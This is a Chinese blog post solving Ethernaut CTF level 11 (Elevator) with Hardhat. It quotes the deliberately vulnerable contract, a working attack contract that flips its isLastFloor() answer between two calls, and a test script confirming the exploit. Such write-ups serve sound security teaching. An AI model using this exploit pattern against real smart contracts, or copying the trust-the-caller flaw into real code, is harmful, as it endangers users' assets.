用Hardhat闯关Ethernaut题11 -elevator

  • Verin
  • 更新于 2022-09-27 17:09
  • 阅读 1785

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

elevator合约

任务:其实就是输入一个任意uint值通过条件,最后让top的值变为true就行。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface BuildingInterface {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        BuildingInterface building = BuildingInterface(msg.sender);
        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

这里改变top的地方是goTo函数,你需要实现BuildingInterface的bisLastFloor()方法,并且使building.isLastFloor(_floor)一开始是false,然后为ture,达到top=true的结果。总的来说没什么难的,就是实现一个接口就行了。

解题思路:1.创建Building合约,实现isLastFloor方法。2.要building.isLastFloor(_floor)达到一开始是false,然后是true就可以做一个取反操作。

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ElevatorInterface {
    function goTo(uint256 _floor) external;
}

contract Building {
    bool public isTop = true;
    ElevatorInterface elevator;

    function isLastFloor(uint256) external returns (bool) {
        isTop = !isTop;

        return isTop;
    }

    function exploit(address _addr) public {
        elevator = ElevatorInterface(_addr);
        elevator.goTo(10);
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");

describe("test", function () {
    var Elevator;
    var Building;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const ElevatorInstance = await ethers.getContractFactory("Elevator");
        Elevator = await ElevatorInstance.deploy();
        const BuildingInstance = await ethers.getContractFactory("Building");
        Building = await BuildingInstance.deploy();
    });
    it("hack test", async function () {
        expect(await Elevator.top()).to.equal(false);
        await Building.exploit(Elevator.address);
        expect(await Elevator.top()).to.equal(true);
    });
});

测试结果:

image.png

Github:hardhat测试仓库

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意